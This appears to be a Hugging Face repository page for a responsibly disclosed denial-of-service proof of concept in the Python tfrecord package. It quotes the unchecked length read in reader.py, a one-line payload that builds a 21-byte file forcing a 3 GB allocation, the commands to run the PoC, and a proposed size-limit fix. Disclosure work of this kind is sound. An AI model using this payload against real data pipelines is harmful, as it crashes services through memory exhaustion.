Downloads · 30 days
0
MBM7/tfrecord-length-bomb-poc
tfrecord-length-bomb-poc is a machine learning model from MBM7. Use it for the machine learning task on the model card, and read the license before you ship it in a product. The card lists the license as mit.
Repo: MBM7/tfrecord-length-bomb-poc Status: Responsible disclosure — submitted to Huntr Severity: High / CWE-789 Package: tfrecord (PyPI) — pure Python TFRecords reader
Downloads · 30 days
0
Access
Public
Updated Jul 19, 2026
Repo size
—
Likes
0
Public
Click a slice to open those files.
.py4.8 KB · 54%
From the Hugging Face model README
Repo: MBM7/tfrecord-length-bomb-poc
Status: Responsible disclosure — submitted to Huntr
Severity: High / CWE-789
Package: tfrecord (PyPI) — pure Python TFRecords reader
A 21-byte crafted .tfrecord file causes tfrecord_loader() to allocate
3 GB of memory before failing — the highest amplification ratio of
any known finding in this class.
| File size | Claimed length | Peak allocation | Amplification |
|---|---|---|---|
| 21 bytes | 500,000,000 | 751 MB | 1 : 35,714,285 |
| 21 bytes | 2,000,000,000 | 3,001 MB | 1 : 142,857,142 |
tfrecord/reader.py, read_records(), line 79:
(length,) = struct.unpack("<Q", length_bytes) # ← from file, NO check
if length > len(datum_bytes):
datum_bytes = datum_bytes.zfill(int(length * 1.5)) # ← 3 GB allocated HERE
datum_bytes_view = memoryview(datum_bytes)[:length]
if file.readinto(datum_bytes_view) != length:
raise RuntimeError("Failed to read the record.") # fails AFTER allocation
length is read as uint64 LE from the TFRecord binary header with
no upper bound check. bytearray.zfill() allocates length × 1.5
bytes before any I/O attempt.
TFRecord binary format:
[uint64 length LE][uint32 CRC32][data bytes][uint32 CRC32]
Setting length = 2_000_000_000 in the 8-byte header produces a
21-byte total payload triggering 3 GB allocation:
payload = struct.pack("<Q", 2_000_000_000) + b"\x00"*4 + b"hello" + b"\x00"*4
# 8 + 4 + 5 + 4 = 21 bytes → 3,000,000,000 bytes allocated
pip install tfrecord
python poc_tfrecord_length_bomb.py
Expected:
File size : 21 bytes
Claimed length : 2,000,000,000 bytes
Expected alloc : 3,000,000,000 bytes (length × 1.5)
Amplification : 1:142,857,142
Peak memory : 3001 MB ← allocated before read
MAX_RECORD_BYTES = 256 * 1024 * 1024 # configurable
(length,) = struct.unpack("<Q", length_bytes)
if length > MAX_RECORD_BYTES:
raise ValueError(f"Record length {length} exceeds safety limit")
| Package | Version |
|---|---|
| tfrecord | 1.14.6 |
| Python | 3.12 |